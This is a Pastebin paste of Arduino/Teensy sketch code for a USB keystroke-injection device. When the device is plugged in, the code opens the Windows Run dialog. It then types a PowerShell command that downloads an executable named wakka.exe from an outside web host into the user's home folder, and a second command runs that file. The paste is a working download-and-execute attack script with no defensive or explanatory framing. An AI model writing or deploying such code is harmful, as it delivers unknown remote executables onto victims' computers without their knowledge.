Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- char *command1 = "powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://security.it/beacon/wakka.exe';$file = ' %HOMEPATH%\\wakka.exe ';$clnt.DownloadFile($url,$file);";
- char *command2 = "%HOMEPATH%\\wakka.exe";
- void setup() {
- delay(5000);
- omg(command1);
- delay(15000);
- // run this executable
- omg(command2);
- }
- void loop() {}
- void omg(char *SomeCommand)
- {
- Keyboard.set_modifier(128);
- Keyboard.set_key1(KEY_R);
- Keyboard.send_now();
- Keyboard.set_modifier(0);
- Keyboard.set_key1(0);
- Keyboard.send_now();
- delay(1500);
- Keyboard.println(SomeCommand);
- }
Advertisement
Add Comment
Please, Sign In to add comment